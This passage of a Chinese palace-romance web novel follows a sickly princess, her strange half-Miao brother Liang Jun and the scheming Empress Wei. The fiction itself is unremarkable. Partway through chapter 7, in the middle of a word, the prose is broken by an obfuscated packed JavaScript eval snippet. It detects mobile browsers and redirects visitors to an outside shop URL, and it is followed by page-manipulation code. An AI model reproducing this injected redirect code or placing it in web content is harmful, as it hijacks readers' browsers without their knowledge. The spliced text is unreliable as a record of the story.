母后去世,阿兄又故去,这世上护着她的人一天比一天少。 想到这儿,沈燕栖脸上涌现一股苦涩。 她让宫人点了安神香,又命殿中烛火不灭,一直到深夜才勉强入睡。 层层纱幔重叠迷幻,屋内灯烛或明或暗,睡梦中,沈燕栖梦到了有关这株断肠草的故事。 及笄礼后,她的身体每况愈下,翊文帝遍寻名医数年无果,后来在她二十岁生辰日那天,韦氏进献了来自苗疆的一株圣花。 沈燕栖还记得那株花颜色如血,花瓣反卷如爪。 原来那天她是必死的结局。 即便萧妙瑜没有一剑捅死她,韦氏进献的乌头花也会要了她的命。 原来这就是她的必死结局。 沈燕栖猛的惊醒,她捂住胸膛大口喘气,发了一身的冷汗。 她又梦到了……自己的结局。 无论如何,沈燕栖都再也睡不下去,她双瞳紧缩,第一次对自己从小生长的皇宫感到恐惧。 在这皇城之中,好像人人都想要她的命,看得见的韦氏,萧家,看不见的……背地里又会有多少? 这庄重肃穆的皇宫,犹如一个还未合盖的棺材,四四方方的线条压得她喘不过来气。 “任何人都不许跟着我。” 从噩梦中惊醒过来,沈燕栖披上外衣,踉跄着往门外走去。 “嬷嬷,我睡不着,去观星台一个人待一会。” 崔嬷嬷急急忙忙从房内赶出来,疼惜地擦掉她眼角的泪,轻声问,“公主可是又想念太子殿下了?” 长乐宫中的观星台,是沈燕栖少时和太子嬉戏玩闹之地。 故人不在,故景却依旧。 沈燕栖苦笑道:“嬷嬷,阿兄还在时,我从来没觉得皇宫是这么冷,也没觉得害怕,现在想一想,所有的痛苦和黑暗,大概都是阿兄在前面为我撑着了。” 观星台是一栋三层的角楼,整栋建筑围绕一棵千年白茶花树而修建,因为是沈燕栖最重视的地方,平常除了打扫的宫人,不会有任何人上去,因而门口也没落锁。 沈燕栖迎着风慢慢登上最高处,却没想到在这里见到一个意料之外的人。 梁钧翘着腿,枕着手臂倚在那颗白茶树上,姿态慵懒恣意,即便树下是虚空的百米高台,他依旧无畏无惧,发尾被风吹的飞扬。 “大半夜不睡觉,你怎么会在这里?” “这儿风景好。”他望着手腕上的伤口幽幽道,“习惯了,不被捆着还真有点睡不着了。” 沈燕栖自然没把他这句话放在心上,哪有人喜欢被捆着睡觉的,再说了,也就是她心血来潮试了一夜而已,哪里就养成了习惯。 她惆然地叹了口气,过了会儿轻声问他:“你相信命运吗?” 梁钧很干脆答道:“不信。” “如果命运安排好了结局,那你会对抗吗?” “会。” 她扭过头好奇看着他问:“怎么对抗?” 梁钧无所谓地说:“我死,或者它死。” “所以你对自己生病,重伤根本就无所谓。”沈燕栖恍然大悟,明白他身上那股压抑着的疯戾劲从哪里来了。 她偏头打量着他,短短两天,没血色的脸已经被养出了几分光泽,瘦削的脸庞,微抿住的薄唇泛出了一点红,他歪头挑眉望过来,黑漆漆的眼瞳,有着深不见底的幽黑。 压抑着,翻涌着,全是她看不透的欲念。 幼年时跟着太子一起学习帝王策论的时候,沈燕栖也曾学过拿捏人心这一套,要想让一个人对你言听计从,忠心无二,除了要真诚,更重要的是要明白他内心深处最渴望的是什么。 那么梁钧内心深处最想要的,是什么呢? 沈燕栖无法看懂他。 她朝他伸出手,只能用一腔真情打动他。 “皇兄,和我一起吧,以后皇宫里没有人再敢欺辱你,你我兄妹二人彼此依靠。” 梁钧没说好还是不好,他抱着剑靠在树干上,双眸已经闭上,也不知道到底有没有听她说话。 过了会儿,她听见他问,“还有呢?” “还有……” 沈燕栖声音扬起来,带着点期待问他,“你们苗疆是不是有什么法术,譬如能保佑我长命百岁的那种,或者你给我看一看,我以后身体会强健吗,能活过二十吗?” 梁钧瞥了一眼她。 瘦削的一张脸,弱柳扶风似的,腰肢细得他一只手便能合拢,只是夜里风寒了些便止不住的咳。 这么病弱,不用搭脉都能知道命数。 他声音很轻道:“应该不太能。” 没想到这句话说完,沈燕栖“哇”的一下就哭了。 6. 第 6 章 06 忽然响起的哭声,起先只是低啜,后来哭声止不住,落在人耳畔,像猫儿挠掌心似的。 梁钧眉梢微动,伸手漫不经心拨开落在领口的碎花。 他指尖重重捻了捻,嫩黄的蕊出了汁水,风一吹花瓣就落了,看起来是这么的脆弱。 可就是这么脆弱的花,却很轻易在他指尖留下色彩。 梁钧敛下眸,并没有看她,只是随口道:“你不是早就知道这个事实了吗?” 大乾皇室数十年来召集全国医术精湛者,她的身体怎么样,什么时候生,又什么时候死,早就有人断得比天还要准。 明明是既定的事实,又有什么好值得伤心呢? 像他这种在雪地里求死之人,自然不明白生命的可贵之处。 沈燕栖抱着手臂,小声啜泣,“如果有人告诉你,你明天就要死了,你会不会伤心?” 梁钧唇角微翘,难得一见的笑颜。 他说:“那太好了。” 跟他简直是说不通! 沈燕栖不大高兴地扭过头去,双臂交叉,抱住自己的肩膀。 夜色蔓延,远处巍峨的宫殿像沉默的山一般,将悲伤难抑地情绪拉满整个皇宫。 沈燕栖在这座皇宫里养了十四年,也在这座皇宫里困了十四年。 她从未踏出过这座皇城,被诊断的病弱就像是无形的镣铐,每天睁眼看向黎明东升,她都要在心里默念,属于她的日子又少一天了。 今天也是。 等白昼取代黑夜,属于沈燕栖的日子,就又少一天了。 沈燕栖用力擦了把眼泪,看着他愤愤道,“梁钧,你不许说话了!” 梁钧挑了下眉,整个人听话地向后倚倒,他半闭着眼睛,静静感受着风淌过每一处的痕迹。 他有些快意地扬起眉梢,露出点餍足的微笑。耳畔是她含着泣音的嘟囔声,一声声的,也像风一样,好似吻过了他耳边。 梁钧慢慢抬起手,在风里抓住这音浪,指尖压着抵上眉心。 耳畔风声如啸,皇城里的风永远是穿过各个宫苑的廊庑下,一道推着一道的声,谁也不逾矩。 沈燕栖的一颗心陷入困境里,她仰起头,看四四方方的夜空,这样逼仄的夜色,居然连渺小的星都显得宏大起来。 “我还有很多想要做的事情没做完,我还没有出雍州玩过,我的宏伟抱负一个都没实现,我还许诺要让天下苍生幸福,不再经受战乱……” 正说着,沈燕栖忽觉后颈发痒,像是被什么东西挠着。 她起先没在意,伸出手在虚空中抓了抓,什么也没抓住。 后来这痒意越来越无法忽视,几乎要钻进了她的衣领里。 沈燕栖用力扯了下袖口,偏过头看向身后。 夜色凝重如墨,她出门时随手用桃粉色的发带绑住长发,这会儿风扬起来,她的发带也肆无忌惮跟着风在空中打转。 梁钧单手撑着后脑勺,另一只手握着剑,正漫不经心用剑尖挑她漂荡在半空中的发带。 发带在他灵活的剑尖下打转,渐渐盘着一个小旋,这柔软与玄铁的纠缠简直令人不可思议,又仿若是天生注定如此。 沈燕栖目光微怔,伸手扯回自己的发带。 水洗后的眸发亮,声音重而清脆地责问他,“你在干什么,梁钧。” 梁钧偏了下唇,掀眸淡淡看向她,指尖点了点唇,暗示的意味很明显。 他这时候怎么变得如此听话起来了,她让他不要说话,他便当真一句话都不说了。 沈燕栖很好说话地摆摆手,软着嗓子道:“好啦皇兄,你现在可以说话了。” “你想活着也不难,苗疆有一种子母蛊,子体受母体供养,种下后可保你性命无虞。” 梁钧声音散漫响起,那双上挑潋滟的眼睛像一把钩子,带着点蛊惑的低沉嗓音贴近她。 “我这刚好能种,公主要不要?” 他的眼睛似乎有引人沉沦的力量,像一望深不见底的潭水,偶尔日光闪耀,他笑起来也会让沈燕栖觉得春光明媚,好像也只是个十八岁的懵懂少年。 此时此刻她不由地望痴了,怔怔出口,“皇兄,你的眼睛好像狐狸……” 梁钧神情微怔,下意识抬起手抚向自己的眼睛。 他抿紧嘴唇,故意躲避她的视线,佯装不耐道:“你想要吗?” “要什么?” 沈燕栖眨了下眼睛,将信将疑,“真有这么神奇的东西?” 梁钧点点头。 他似笑非笑看着她说:“而且子母蛊种下后互为命脉,生死祸福相依,一人死,另一人绝不独活。” 他兴奋地看着她,不放过她每个脸上任何微末的转变。 害怕、憎恶,厌弃……这些只要一看见他就伴随而来的神情,梁钧已经熟悉到骨髓里。 他死死地盯着她,满是疯狂和压抑的神色掩不住,尖牙咬住的唇渗出殷红,在无边的夜色中显得妖冶诡魅。 然而令梁钧失望的是,她并没有被他的话所吓倒,也不觉得他要将这样恶心的蛊虫种到她身上是一件多么可怖的事情,自始至终她脸上的神情始终如一,保持着一种柔和的轻松,甚至在无声地瓦解一切令人焦躁发狂的混乱因子。 不,不应该是这样的。 梁钧在心里疯狂叫嚣着,她应当和其他所有人一样鄙夷,折辱,甚至杀死他。 最好一剑穿心,这就是他的目的。 想到这儿,梁钧眉心舒展,他把剑往她身旁踢了踢,唇角忍不住微微上翘。 闭眼的瞬间却听她说—— “这不就是戏本里写的同命蛊?” 沈燕栖赞叹了声:“同生同死,好浪漫啊。” 梁钧脸上的神情僵住,他视线低垂,面庞隐匿在黑暗之中看不分明。在这一刻,连他自己都不知道该做出什么样的反应。 他该遗憾吗,还是该庆幸。 习惯了生活在鄙夷和厌恶里,生平第一回遇到这样的情形,梁钧微微启唇,感受到胸口被猛的揪住却不下沉,只是发麻发震的一声声回响。 他不明白这样的感受。 只能幽幽道:“这是杀人用的……” “给你的仇人种下子母蛊,看他们痛苦挣扎,跪地求饶,最后一道两命,先死的那个人是解脱,后死的人表情很是有趣。” “好多人都死在了这对蛊虫上呢。” 黑夜里,他忽然低低笑了起来,夜色里一张阴郁病态的面庞,他忽然凑近她面前,睁大眼睛,湿冷窥望的目光,几乎要将她整个吞下。 沈燕栖呼吸急促起来,被他注视下的眼睛好似被挟住,她忍不住颤抖起来,连眨眼的动作都变得迟缓下来。 就这样,她的一切都好像在他的注视下坦诚。 过了一炷香的时间,梁钧收回目光,沈燕栖长呼一口气,发觉自己后背沁了一层冷汗,因为换气过度而起伏的胸膛,她咬紧牙关,连自己的心跳声都听的清楚。 而背后,梁钧仍如幽魂缠上来,他的声音含在喉间,压抑着淌入骨髓,像是从胸腔间发出来的震鸣一般。 他低低唤她:“妹妹。” * 后半夜回到长乐宫中,沈燕栖命人点上了安神香。 崔嬷嬷早已备下了参汤,她端着碗喝了两口,却总觉得双肺发紧,呼吸间一抽一抽的疼。 想来是因为今夜吹了些冷风的缘故。 崔嬷嬷趁机道:“公主以后可不许这般肆意妄为了,如今天寒,您的身子可受不住凉。” 做都做了,如今回来自然只有乖乖认错的份。 沈燕栖小口喝着参汤,过了会儿像想起什么似的吩咐道:“小厨房里的参汤还有吧?等会给皇兄也送去一碗吧。” “您今夜是和三皇子在一起的?” 崔嬷嬷皱起眉头:“公主心善,可三皇子毕竟是苗人血脉,走近了恐会有外边人非议您。” 若是想照拂,寻个差不多的宫殿安置下来,逢年过节命人送上些吃食炭火便是了,到时候请陛下封个王送至偏远封地,也算是安乐一生了。 哪里需要如今这样带在身边,甚至还要亲自为他誊抄礼记,一句话掰开来讲道理? “嬷嬷,我不只是想让他好好活下去的。” 沈燕栖放下碗,语调微扬:“我还希望他能和太子阿兄一样,懂得做明君的道理,镇守疆土,护家国无恙。” 朝堂大事崔嬷嬷不懂,她懂的只是樱桃比罗要蒸多少时辰,烤得酥脆的胡饼要撒上一小捧芝麻才香。 她不关心这个国家如何运转,百姓要怎样才安居乐业。 她能做的只是让她的公主多用些膳食,少些病气,最好长命百岁,活得比任何人都要久才好。 …… 反正也睡不着,沈燕栖干脆命人在桌前点上蜡烛,提笔誊写前两日没写完的礼记注释。 她猜测那位梁美人应当是有些才情的,至少教过梁钧识文断字,但因为去的太早,多的也没能够教会他。 他在礼仪规矩一课上是完全不通的,也完全不知道血脉亲情和家国大义。 沈燕栖轻叹了口气,有些头疼,捏着笔杆敲了敲额头,她想了会儿,朱红赤笔圈出了“家国大义”四个字。 当务之急,她要教会他忠君爱国。 其他的,都不重要。 一夜过后,沈燕栖揉了揉泛酸的手腕,她打了个哈欠,叫宫人进来伺候她梳洗。 阿弦也赶着进来和她汇报梁钧的最新动向,这是她这几日新领的活,沈燕栖夸她轻功好,整个大乾无人可及,这项跟着梁钧的活也只有她能接。 她被夸的心花怒放的,当下便拍掌领下了。 到今日,阿弦垂头丧气道:“殿下,我的轻功不是大乾最好的,三皇子的轻功比我好太多了,翻墙走壁,便是晚上悄无声息出了皇宫都没人知道。” 梁钧的功夫 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韦氏低低笑着,半开玩笑道,“不知道的还以为你不待见我这个皇后呢。” 这话说的太重,沈燕栖毕竟是个小辈,韦皇后也是她名义上的母后,传出去免不得要沾个不孝之名。 寻常人听到这话必然怕得不行,生怕坏了名声影响了婚嫁。 但对沈燕栖这种连命都很难活过二十的人来说——名声?能续命吗? 她捏起帕子,装模作样微微咳了两声,扶着额头做出一副虚弱难当的样子。 “不瞒皇后娘娘,回宫那日我吹了些冷风,一下被病倒了,不敢过了病气给您,所以今日才来拜见。” 韦皇后面上装的一派慈爱,关切问道,“那你现在可好些了?要不然本宫再为你请太医搭一搭脉?” “早上周太医已经来看过了,不过是我身子弱惹出来的事。” 韦皇后挑眉睨过去,见这丫头一脸苍白面色,微蹙起的眉,一双秋水盈波的眼,咳得泪光点点,自带的三分病弱气,反倒平白添了令人怜惜的心。 她心中冷笑连连,面上不显,仍装作关心,“来人,把本宫库房里的两棵灵芝拿上来,给承德公主带回去好好补补身体。” 沈燕栖只说“谢谢”,令崔嬷嬷收了下来。 接下来的时间,她并不主动言语,只是微笑着,静待韦氏出声。 果然,扯了半柱香的时间,韦皇后绕回了正题。 她笑着问:“承德,听说你近日同陈崇桢走得很近?他过些日子要外放为官了吧?怎么,你属意他?” “你年岁也不小了,陛下对你的终身大事格外上心,若你有意,本宫为你向陛下求个恩典如何?” 沈燕栖仰头看着她:“若论年岁,大皇姐不是比我更紧要些?” 这话把韦皇后噎住了。 她嘴角扯了扯:“华儿我自有安排,如今只是问问你的意思,本宫如今是这宫里唯一的皇后,免不了要为你们多思量。” 思量么? 这话听起来实在是可笑,沈燕栖摇摇头,脸上忍不住蔓开点笑意。 她的婚事哪里需要这位皇后求恩典,她喜欢谁,想要谁,翊文帝会立刻赐下婚约,没有任何犹豫。 沈燕栖轻声问:“皇后娘娘这么希望我嫁给陈郎君吗?” 她问的太直白,不像是未出阁的女娘作风,底下一干妃嫔议论起来,有的说陈崇桢出身太低配不上公主,有的又说二人情投意合,早已约定终身。 沈燕栖听着忍不住发笑,她偏头看向下首的妃嫔,其中有些人年岁比她长了不了几岁,面容仍是少女的青涩气,哪里就懂什么喜欢不喜欢了。 她现下也不懂什么叫喜欢,只是从心里觉得爱上一个人应当是甘心为他红尘紫陌中走一遭,如此轰轰烈烈一番,才算是动容。 和陈崇桢,算吗? 沈燕栖不知道这个答案,她窥不透感情,但好在人心算计看得很轻。 朝廷的调令已经下来了,年后陈崇桢便要远赴淮南道担任地方官,一路舟车劳顿,此时韦皇后撮合她和陈崇桢的婚事,无非就是想让她跟着一起去淮南道。 她身子孱弱多病,压根受不住路途的奔波,若是出点什么意外折损在半道上,那也是很正常的事情。 可偏偏她天生就是一副逆反的骨头调性,偏不让仇人顺心如意。 当下便道:“我对陈郎君没什么兴趣,不过皇后娘娘既然如此热心,我便也实话告诉您——” 沈燕栖顿了下,抬起狡黠的眸,定定地看着韦皇后道:“不过我对您的侄儿韦小侯爷可是很感兴趣,不若皇后就这样替我向父皇求个恩赐吧。” 梁钧抬腿踏入大殿之时,恰好听见她清脆响亮的声音落得分明。 “就说我属意韦焕,非他不嫁。” 7. 第 7 章 07 韦烨是谁? 梁钧一下止了脚步,日光下少女的面容温煦耀眼,双眸犹如水洗般澄澈发亮,美好得如同一樽玉面娃娃般。 可这是梁钧第一回觉得刺眼。 他侧过身站在殿外静静窥视,因为嫉妒而起伏不定的胸膛,难忍地仰起头喘/息。 原来这样的笑颜不是他独有的。 她怎么可以这样呢?? …… 殿内,沈燕栖盯着韦皇后难看的脸,却越说越有感觉。 “长安岭之战,韦小侯爷领五万精兵横扫战局,英勇无双,我想整个大乾应该没有女子不倾慕于他吧?” “我是大乾的公主,要配我也只配得上这样的当世英雄。” 眼瞧着沈燕栖说的慷慨激昂,韦皇后生怕她下一秒就冲到太极殿内向陛下请旨赐婚。 虽然这等事情听起来荒唐,但沈燕栖她真的做得出。 “胡闹,韦小侯爷早就看定了别家的姑娘。” 韦皇后急急打断,面色难看的狠,却还得哄她,“承德,你再喜欢一个人,也不能夺人所爱吧。” 沈燕栖便说:“韦小侯爷的弟弟也不错,是叫韦烨吧?虽然人也有点不学无术,但总会能聊得来。” 韦皇后眉心跳了又跳,心想那是她给自己女儿挑好的归宿。 她城南韦氏是多高的门槛,尊贵的血脉其能容外姓人玷污,还是她所憎恶的姓氏。 韦皇后几乎笑不出来了,搬起石头砸自己脚的事情她也是头一回干,这会儿脑袋被刺激得发疼。 当下摆摆手道:“这事儿容后再议吧,本宫头痛,你们先退下吧。” 坤宁殿内,几乎是众人退下的那一秒,沈燕华撩帘而出,头上的珠钗晃动不停,扯在一处。 “母后,那是我的夫婿,我不许她来抢!” 韦皇后摁了摁眉心:“本宫当然知道,你和烨哥儿青梅竹马的情分,岂是她想要就能要的?” “这丫头近日是转了性不成,往日看见我韦家人恨不得绕着道走,今天居然巴巴地贴了上来。” 沈燕华嘟囔道:“谁知道是不是把脑子烧坏了。” “反正表哥是我的夫婿,谁要是跟我抢,我就跟她拼命!” “你和他还未成婚,不要总把这样的话挂在嘴边,失了公主的矜容。”韦皇后瞥了一眼,终还是叹了口气。 “华儿,你这孩子就是一根脑筋。” …… 从坤宁宫出来以后,沈燕栖侧头对鸣玉吩咐道,“今儿在坤宁宫的事,不出两个时辰必然要传得风风雨雨,你多往宫里各处跑一跑,注意着点动向,我倒想看看如今这宫里有多少是韦氏的地盘。” 谁知鸣玉压根没注意听,低着脑袋闷不作声往前走,连前头拐弯的岔路口都没察觉。 沈燕栖赶紧拉住她,喊了声,“鸣玉!” 鸣玉回了神:“奴婢在。” 沈燕栖叹了口气:“你在想什么?” 鸣玉垂下睫毛,过了好一会儿才嗫嚅开口,“奴婢在想,公主殿下是真的想要嫁给韦小侯爷吗?” 沈燕栖无奈地看向她;“你觉得呢?” 鸣玉疯狂摇头:“韦小侯爷肯定不是公主喜欢的类型。” 这话倒叫沈燕栖来了兴趣,她停下脚步,笑着问,“哦?那鸣玉你说说我喜欢什么样的?” “公子如玉,温润谦和,应当是……” “对!”鸣玉仰起头,眼神发亮地看着她,“应当是陈郎君那样的人!” 连这个小丫头也这么认为吗? 沈燕栖垂下睫毛,低低咳嗽了两声,颇有些遗憾说:“只是我剩下的时间太少了,没有心思去想那么多情情爱爱,现下我只想把该走的那条路走好。” 鸣玉好奇地问她:“殿下,您想走的是什么路呢?” 沈燕栖想了一下说:“一条我不知道会不会成功,但一定要走下去的路。” “而我韦家,是我唯一能抓住的线索,与其守株待兔,不如引蛇出洞,鸣玉,你知道我的时间很宝贵的。” 听到这话,鸣玉湿润了眼眶。 她紧紧抿住唇,忽然仰起头来,落下的声音铿锵有力。 “殿下,我愿意为你去死的。” 沈燕栖:“什么?” 鸣玉道:“三皇子不是说苗疆有延年益寿的蛊虫,鸣玉愿意把寿命统统都给公主殿下,只要公主能完成想做的事情。” “你怎么会这样想?” 天有些寒了,沈燕栖伸手给她紧了紧领口,分外认真地看着她说:“任何人都不值得你放弃生命。” “你要做好我先你离开的准备,届时你一定要好好生活下去,我喜欢花,喜欢果香,到时候我的陵园你要常来,为我送花。” 鸣玉瘪住嘴,眼泪一下就涌出来。 “那年永州大旱,公主将我于乱民马蹄下救出,那时候鸣玉的命便是公主的了。” 沈燕栖急急道:“可我救下你,并不为了你的命呀。” “我只是想要救你,也只是想要你活下去。” 鸣玉已然哭的跟个小花猫一样了,沈燕栖伸手擦了擦她的脸,握着她的手上了软轿,笑吟吟地哄着她。 “好啦,你不要哭啦,我回去让崔嬷嬷给你做水晶龙凤糕,你最爱吃的。” 鸣玉抽噎着应了声“好”,边打着嗝边道,“殿下,可不许和崔嬷嬷说这事儿,否则她又要斥责奴婢不懂规矩了。” 沈燕栖就跟哄小孩似的“嗯”了声。 鸣玉还是头一回上沈燕栖的这架七宝步辇,辇架四角坠着的五色锦香囊格外沁人心脾,冷静下来以后她顿觉不妥,微躬着身便要退出去。 沈燕栖伸手拉住她:“这里面空间那么大,多你一人也坐得下。” 然而鸣玉还是摇头:“身份有别,奴婢该下去的。” 也正是这一番动作,她视线余光里瞥至一人,立刻惊呼出声,“公主殿下,三皇子一直跟在咱们旁边。” 沈燕栖也一惊,用眼神询问,“好端端的,他跟着做什么?” 居然就这样一言不发跟了一路。 这三皇子的脾性,还真是够古怪的。 那道十二人并侧同行的步辇忽然停了。 梁钧的脚步随之也停下,雪地里印下一个深深的脚印,他身形微动,侧身隐进了道旁的一片竹林。 却没想到还是被她捕捉到一抹衣角飘过的痕迹。 那道月绯色的羽缎里伸出一截白皙纤长的手来,在萧瑟的风里抖了抖,莹润的指尖露出一点儿粉。 很快,梁钧看见她从厚厚羽缎里探出头来,一张巴掌大的脸儿被手炉熨得有些薄红,正用那双明亮的眼睛言笑晏晏地看着他。 “皇兄,天气寒,快上来和我同乘。” * 步辇之上,比梁钧想的要宽敞许多。 他想起刚刚在宫道上,十二人并侧排列的壮阔景象,还以为是出了什么事,值得这样的大阵仗。 原来不过是这位小公主起驾回宫。 为了起到避寒聚热的作用,整架步辇被用三层柔软羽缎罩着,梁钧双腿撑开,坐在贴近门的那一侧。 时不时敞开的风拂过他展露的后颈,忽然的凉意也恰好能令他清醒,不至于坠入她明眸皓齿的狡黠里来。 刚刚在坤宁宫里他听的明白,这位三言两句就能领后宫里叱咤风云的韦皇后落了下乘的公主,绝不是一个等闲人物。 她喜欢抓人的痛处,然后——一击致命。 “你唤我来,是有什么事?” “难道不是皇兄想见我?”沈燕栖一点儿面子都没给,撑着下巴笑着看他,“三皇兄为什么一直跟在我的銮驾后面?” 梁钧:“只是顺路而已。” 沈燕栖“哦”了声,没再这个问题上细究,只是问,“怎么忽然跑到了韦皇后的宫里来了,她可有刁难你?” 她到底还是身体底子差,经历了早上这么一会功夫,整个人都倦怠了下来,寻了个软枕靠下来,双手塞进暖手筒里就想要睡觉。 随手也摸了个汤婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341127|199330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子递过去:“冷,你拿着用。” 梁钧瞥了一眼,伸手接过来却搁在一边。 他握住掌心,复又松开,这密闭步辇里蕴着的热气令他浑身都不舒服。 他是习惯了饥寒的人。 只说:“早上我去掖庭,出来的时候韦皇后便请我去了。” 沈燕栖脑袋往下沉,吃力地掀起眼皮,问他,“是吗,她找你做什么?” 梁钧回答:“她想要拉拢我,想要我做她的儿子,许我嫡子身份,准我入主东宫。” 沈燕栖猛的睁开眼睛—— 她重新坐直了身体,这话可不敢敷衍地接下去了,小心翼翼地抬起眼皮,略有些不着痕迹地打量着梁钧。 他神色如常,睫毛低垂,薄唇微微勾着,仍是那副叫人看不出喜怒的寡淡面庞。 说这话的时候,他面色无悲无喜,好似这事与他压根不相干。 沈燕栖思忖了会,慢吞吞地问,“那你怎么想,皇兄。” 梁钧饶有兴味地反问她:“承德公主,你希望我怎么想?” 不知道为什么,沈燕栖总觉得梁钧这幅懒洋洋的样子,总有一种观察她的意思,琢磨她的表情,对她即将出现的反应预测而又期待。 而她,最讨厌的就是被人像宠物一样逗玩。 “我管你怎么想。”沈燕栖微微扬起下巴,“你要做什么,是你的自由,也不必知会我。” “是吗?” 梁钧忽然低低笑了起来,那双晦暗的眸抬了起来,意味不明地盯着她看,“公主殿下前几日不还闹着要我报恩?” 他居然在计较自己让他当侍卫的事情。 沈燕栖咬紧下唇,忽然有些气愤道,“我堂堂公主,难道还真的会缺一个侍卫不成?你难道看不出来,我那不过是想要你好好活下去的托词?” “人心里总要有件做下去的事,有了事也就有力气活下去,梁钧,你滚下去!我不要你坐在我的步辇上了!” 沈燕栖一番好心全都喂进了狗肚子里,她气得不行,当即伸直小腿,不管不顾蹬着他。 里头动静闹得大了点,步辇一阵又一阵的晃,梁钧见状,略一抬腿,抵着她膝盖往里一拢,轻而易举将人逼至了角落牢牢桎梏着。 “停下。” 鸣玉声音从帘外传来:“公主殿下,里头这是怎么了?” 步辇内,沈燕栖怒目而视,声音压得低低的,警告他,“梁钧,你太放肆了。” 他低笑着揶揄:“怎么,这次不叫皇兄了?” 骨子里的那股劣气被完全勾了出来。 “我告诉她我的母亲是苗疆梁氏,她要认我为子,先换上半身的苗疆血,再将韦氏姓改作梁氏,如此,我方可叫她一声母亲。” 梁钧掀起眼皮,黑漆漆的眼瞳,他松开了她,整个人又坐了回去,嘴角懒洋洋地翘起来。 他发现逗她是一件极好玩的事情。她的一颦一笑,恼怒时鼓起的脸颊,这一分一毫的表情全都是为他而动。 这是只属于他的东西。 想到这儿,梁钧眸光暗下来,连气息都带了点吞吐不清的浊意。 而沈燕栖注意力还在他不客气的回答里,她“噗嗤”一下笑出声,只觉得心里快意不少。 却还是装模作样说:“你这样便是完全得罪她,得罪整个城南韦氏。” 梁钧回答很是干脆:“我不在意。” 她不由地问:“那你在意什么?” 风从帷帐垂落的间隙拂过,撩动她鬓边长发,梁钧目光一瞬不移,从莹白的指尖到乌黑发丝,他的眼神勾缠露骨,如隆冬里一场要落不坠的惊雨,沉沉乌云压得人连喘息都稀薄。 他忽然哑声开口:“我在意你——” 话说一半却是顿住,沈燕栖眉毛轻挑,心里头略有些诧异,也抬起头来打量着他。 也正是这时候,梁钧的指尖轻轻抬起,落在她长翘的睫毛上。 他说话的语调凉浸浸,狭长眼眸中幽光微闪,妖冶动人。 “是不是只会对我这么笑。” 8. 第 8 章 08 “不怎么样。” “他很装。” 沈燕栖搜刮着关于韦烨的记忆,忍不住吐槽道,“他和大皇姐还挺般配的,两个人都爱炫耀,动不动就把什么身份体面挂在嘴旁。” “你在宫里遇到他可得小心点,他这个人最阴毒了,最喜欢借着别人的力惩治下人,人打的差不多去了半条命,他再飘飘然过来说一句不计较,赏两锭银子就算是给了天大的恩赐。” 梁钧轻轻“嗯”了声。 韦烨啊,他熟。 前两年除夕来宫里拜谒的时候,联合几个高官子弟将他推入湖中取乐。 他不介意死亡,却讨厌被人当作一个东西取笑。 所以那天晚上,梁钧送他去见了“阎王”。 他嗤笑声:“他的臆病好了么?” “你也知道他得过两年臆病?”沈燕栖低声道,“之前我跟着寒山大师去韦府瞧过他一会,双手生疮,口齿不清,疯癫无状,特别可怖。” “就……大概长这个样子。” 沈燕栖扯住耳朵,鼓着脸做了个鬼脸。 谁知道梁钧不仅没有被吓倒,反而“噗嗤”一声笑出来。 他笑起来时,那双上挑的眼睛更显多情,就这么眺过来,令沈燕栖一下被晃了神。 步辇行至长乐宫前,崔嬷嬷率一干宫婢在门口恭候。 梁钧一撩帘子,率先从上面跳下来,倒把为首的崔嬷嬷吓了一大跳。 她惊呼道:“三皇子,您怎么在公主的步辇上?” 梁钧不爱搭理她,崔嬷嬷年纪大,嘴巴又碎,对他的不待见似乎就摆在眼前,每次见他,就念叨两件事。 第一件,你是皇子,要好好读书,将来保护好公主,第二件,承德公主真真是天底下顶好的娘子,不知道日后天底下有谁能有如此好的福气娶到她。 想到这儿,梁钧蓦然停下了脚步。 他缓缓抬起脸,漫不经心来了句,“崔嬷嬷,可听闻今天坤宁宫内的事?” 崔嬷嬷顿时紧张起来:“坤宁宫里发生了什么事?可是公主今日去,受了搓磨?” 还特地拉着他到角落的地方细谈。 梁钧似笑非笑道:“公主说她属意韦小侯爷的弟弟,非他不可。” “我的天祖宗。”崔嬷嬷心凉了半截,不敢置信问,“这真是公主说的?她、她,她看上了韦家那竖子?” 不等梁钧应答,不远处,沈燕栖已经唤了一声“崔嬷嬷”,崔嬷嬷急急地“哎”了声,跑过去,却是脚步打了个踉跄,整个人慌到没边。 看到这幅场景,梁钧双手抱臂,忍不住勾起唇角。 屋内,崔嬷嬷长吁短叹。 沈燕栖一碗羹汤舀了又放,最后她实在忍不住问,“嬷嬷,这是谁惹了您不痛快,在我这儿唉声叹气的?” “还不是你这个祖宗!” 崔嬷嬷连连拍掌:“公主殿下,您何时见过那位韦家幼子了,怎么就一见钟情,非君不嫁了?” 原来是为了这件事。 沈燕栖低头抿了抿茶,云淡风轻道,“我胡说的,我连他面都没见过。” 崔嬷嬷恼了:“这种事情是可以随便拿来胡说的吗?不出半日,雍州就要传得满城风雨了,且看他韦家得意吧!” 沈燕栖道:“只是策略,策略而已。” 崔嬷嬷恨不得揪着她耳朵细说这件事的利害,女儿家的名声,哪里就是能拿来用作筹谋的。 听了她一盏茶的唠叨,沈燕栖忽然回过味来,她目光陡然警觉起来,问崔嬷嬷,“我这刚从坤宁宫回来,谁同您卖的这个消息?” 崔嬷嬷没什么盟友精神。 两手一摊,直接把人供出来了。 “三皇子特意告诉我的。” 好啊。 沈燕栖咬牙切齿:“鸣玉,你去把我这位三皇兄请过来。” * 梁钧进来的时候,沈燕栖正在铜镜前卸掉满头珠钗。 头冠已经被衔珠取下,她有点无聊,随手捏着一支鸳鸯含珠的金钗把玩。 “皇兄,你怎么可以当叛徒呢?” 沈燕栖气鼓鼓说:“我不是告诉你了吗,我对韦烨没有男女之情,我只是为了给韦皇后和大皇姐找点事情做而已,省的她们眼珠子时时刻刻挂我身上。” 这话说完,却是没有人应她的。 沈燕栖诧异地扭过头,却看梁钧不知何时在她平素写字画画的那张白玉案桌边站定,仔细看,手里似乎还捏着个什么东西。 